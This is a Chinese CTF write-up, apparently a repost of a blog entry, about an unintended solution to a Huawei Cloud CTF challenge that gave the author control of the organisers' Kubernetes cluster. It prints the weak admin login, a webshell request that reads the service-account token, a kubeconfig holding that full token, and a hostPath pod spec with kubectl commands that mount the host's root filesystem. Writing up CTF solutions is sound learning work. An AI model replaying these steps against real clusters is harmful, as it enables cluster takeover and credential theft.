Kubernetes

华为云CTF cloud非预期解之k8s渗透实战

本文主要是介绍华为云CTF cloud非预期解之k8s渗透实战,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

前言

最近对云安全这块比较感兴趣,学了一波k8s的架构和操作,正好遇上了华为云的这一场比赛,收获颇多。

(甚至通过非预期拿下了平台题目集群的最高权限)。

0x00 题目入口发现

拿到题目发现是一个类似于提供IaaS服务的站点,扫描了一波目录,发现几个文件以及路由:

phpinfo.php
robots.txt
admin/
login/
static/

挺奇怪的是,在一个存在phpinfo的环境下发现了一个beego框架后端的403界面:

image-20201220213938432

初步猜测是.php的文件交给了nginx fastcgi进行处理,而其他路由则是交给了beego进行处理。

接着我们先看/admin路由,发现存在一个隐藏的表单

image-20201220142429113

因此自然的想到使用burpsuite进行弱口令的爆破,发现存在弱口令 admin:admin

登录成功后返回了两个url, 下载 tools.zip,同时根据名字猜测/wsproxy是一个websocket的代理路由,而查看tools的源码发现是一个wsproxy的客户端程序。

image-20201220142540954

至此,我们找到了进入内网的通道。

0x01 wsproxy 进入内网

直接对拿到的tools源码进行编译,获得客户端连接程序

image-20201220193029128

根据使用说明,我们可以通过简单的命令连接上题目的wsproxy,同时密码为tools源码目录下的 pass.txt(UAF),session就是我们登陆admin后,题目给的beego session

image-20201220193124576

这样会在本地的1080端口开启一个 socks5 代理,通过这个代理,我们就能够连入内网。

0x02 phpinfo泄露k8s集群信息

由于这道题目的名称 Cloud以及在phpinfo.php 环境变量 中发现的大量service的信息以及k8s api-server地址,同时根据环境变量的名称与值来看,这是一个k8s集群。而我们的题目属于k8s集群中的一个pod。

image-20201220142706608

0x03 k8s基础架构介绍

在继续深入下去之前,我们需要了解k8s的一些基础架构

architecture

如上图所示,我们可以看到,Kubernetes集群主要分为 Master和Node 两部分,也是典型的分布式架构。

首先,外部应用程序通过Api-Server提供的 HTTP 接口与Master进行交互,而在与APIs进行交互前,需要经过一步认证的阶段。而 Node由多个pod组成,pod中运行着的便是大家比较熟悉的容器(通常来说是docker),编写的服务(app)就运行在这些pod中的容器内。

其次,我们若是想将我们的pod发布出去,使其能够被公开访问,就需要了解服务(Service)。我们将运行在一组 Pods 上的应用程序公开为网络服务的抽象方法称作服务,服务上一般配置了能够被公开访问的 ip地址、端口映射关系等,通过服务我们就能够访问到相应的pods。

每一个Node上都有一个被称作节点代理的程序 kubelet,Node通过该程序向Api-Server汇报节点信息,以及接受相应的指令等。

从上面的架构中不难看出,如果我们要拿下整个集群,从外部看实际上就是需要获得暴露在外的api-server提供的REST api的访问权限。

0x04 k8s 认证 token 泄露 + 配置不当

通过上面一步浅显的解了一下k8s的基础架构,我们可以继续往下看。

我们通过给的代理程序连接内网,访问phpinfo中泄露的 k8s api-server https://10.247.0.1:443,发现api-server居然暴露在代理能够直接访问到的网段上,但是直接访问提示我们401未授权,因此我们需要寻找一种可能的方式去通过此认证。

image-20201220142743378

根据phpinfo.php文件中的内容来看,该集群中部署了很多很多的services,因此我们猜测所有的题目容器应该都是通过这个k8s进行编排管理的。

同时由于k8s集群部署的时候默认会在每个pod容器中挂载token文件到
/run/secrets/kubernetes.io/serviceaccount/token
文件中,因此我们是可以通过其他题目所拿到的shell拿到这个token。

ServiceAccount 主要包含了三个内容:namespace、Token 和 CA。namespace 指定了 pod 所在的 namespace,CA 用于验证 apiserver 的证书,token 用作身份验证。它们都通过 mount 的方式保存在 pod 的文件系统中,其中 token 保存的路径是 /var/run/secrets/kubernetes.io/serviceaccount/token ,是 apiserver 通过私钥签发 token 的 base64 编码后的结果

我们可以通过之前在 webshell_1题目所拿到的webshell,获取到api-server认证token

http://124.70.199.12:32003/upload/71a6e9b8-90b6-4d4f-9acd-bd91c8bbcc5e.jsp?pwd=023&i=cat%20/run/secrets/kubernetes.io/serviceaccount/token
image-20201220143016309

至此,我们已经获得了api-server的访问权限,因此就相当于我们获取了k8s集群中的master权限。

0x05 获取集群操纵权限

拿到了api-server的权限,我们就能够随心所欲的在集群中做想做的事了~ 其实做到这一步,大概就意识到这应该是一个平台漏洞,而不是本题的预期解法。因为拿到了master权限之后,我们已经能够查看/控制所有的Pods(web题目),随意的获取我们想要题目的flag。

我们可以通过命令行工具 kubectl来对api-server进行操作。

创建一个k8s.yaml配置文件,如下,token处为我们上面拿到的token,server则填写 api-server的地址

apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://10.247.0.1
  name: cluster-name
contexts:
- context:
    cluster: cluster-name
    namespace: test
    user: admin
  name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
  user:
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w


在本机通过题目的内网代理 执行以下命令远程连接进入题目的k8s集群,成功通过认证。

kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true
image-20201220194341279

至此,我们得到了访问k8s api-server的权限,下面我们尝试去获取集群master宿主机的权限。

通过执行

kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
image-20201220230951253

可以看到,k8s的版本号为 v1.15.11,这个版本的k8s授权默认是不会开启RBAC(基于角色的访问控制)的。

在Kubernetes中,授权有ABAC(基于属性的访问控制)、RBAC(基于角色的访问控制)、Webhook、Node、AlwaysDeny(一直拒绝)和AlwaysAllow(一直允许)这6种模式。从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。

因此如果运维在搭建集群环境的时候,没有设置 --authorization-mode=RBAC ,那么我们就可以通过拿下集群中的一个pod的shell,从而获取到token进行api-server的认证。很显然,经过上面的验证,运维在部署环境时并没有开启该访问控制。

0x06 获取master 宿主机权限

我们可以创建一个新的pod,通过文件挂载的方式,将宿主机根目录的所有文件挂载到pod中,但是由于创建pod时,需要从远程地址上拉取镜像,而该题内网貌似是无法出网的,因此我们需要找一个已经拉取下来的本地镜像文件。

执行以下命令,获取当前已经拉取过的images:

kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |\
tr -s '[[:space:]]' '\n' |\
sort |\
uniq -c

结果如下:

image-20201220235708354

尝试几个镜像后,发现 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的

yaml配置如下:

apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

上述配置将宿主机的根目录挂载到了我们pod中的 /host目录,执行以下命令在default命名空间中创建该pod

kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true

再通过kubectl exec 进入我们的pod中,以实现对宿主机文件的控制。

kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true

至此,我们所获得的权限其实已经和主办方运维同样高了。。

0x07 获取flag

通过以上的步骤,大概明白了这是一个非预期,平台配置token的泄露外加没有开启RBAC授权,导致我们轻易的就能够获取到了k8s集群的最高权限。因此我们也就获得了该集群中所有题目容器的最高权限。

在整个集群中,我们需要寻找属于我们队伍的pod,以便获得对应的flag。

因此我们首先通过查询在k8s中用于服务暴露的service信息:

kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true
image-20201220210356220

可以看到,列出了所有的service,同时还有集群ip以及端口映射的关系。这里我们就可以通过暴露在公网上的端口,来定位对应的service。

例如我们的公网端口为30067,则我们搜索30067端口

image-20201220210520978

得到了我们题目pod所在的service,接着我们获取这个service的详细信息,以便得到pod name,命令如下:

kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true
image-20201220210704982

从这里大致可以看出,app名为guosai-34-15,因此我们相应的去所有的pod中寻找名为这一项的pod。

kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true

通过对我们获取的数据的检索,发现了这样一个pod,通过比较虚拟ip与phpinfo中的信息,可以确定这个pod就是我们要找的那个。

image-20201220210832990

因此便得到了属于我们的pod。exec进入pod后,便可以得到flag。

0x08 总结

1.k8s配置文件:(需要获取到k8s集群的泄露的token值)k8s.yaml:
apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://10.247.0.1
  name: cluster-name
contexts:
- context:
    cluster: cluster-name
    namespace: test
    user: admin
  name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
  user:
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w

2.通过kubectl命令认证k8s(https://kubernetes.io/zh/docs/tasks/tools/install-kubectl-linux/),得到了访问k8s api-server的权限

kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true
3.查看k8s版本(从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能,1.6版本以下是不会开启RBAC(基于角色的访问控制)的)
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true4.创建一个新的pod,通过文件挂载的方式,将宿主机根目录的所有文件挂载到pod中,但是由于创建pod时,需要从远程地址上拉取镜像,而该题内网貌似是无法出网的,因此我们需要找一个已经拉取下来的本地镜像文件执行以下命令,获取当前已经拉取过的images:kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |\
tr -s '[[:space:]]' '\n' |\
sort |\
uniq -c5.尝试几个镜像后,发现 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的yaml配置如下:apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory上述配置将宿主机的根目录挂载到了我们pod中的 /host目录6.执行以下命令在default命名空间中创建该podkubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true7.再通过kubectl exec 进入我们的pod中,以实现对宿主机文件的控制kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true8.通过查询在k8s中用于服务暴露的service信息kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true9.获取这个service的详细信息,以便得到pod name
kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true10.app名为guosai-34-15,因此我们相应的去所有的pod中寻找名为这一项的pod。kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true


原文链接: https://annevi.cn/2020/12/21/%E5%8D%8E%E4%B8%BA%E4%BA%91ctf-cloud%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3%E4%B9%8Bk8s%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98/

这篇关于华为云CTF cloud非预期解之k8s渗透实战的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!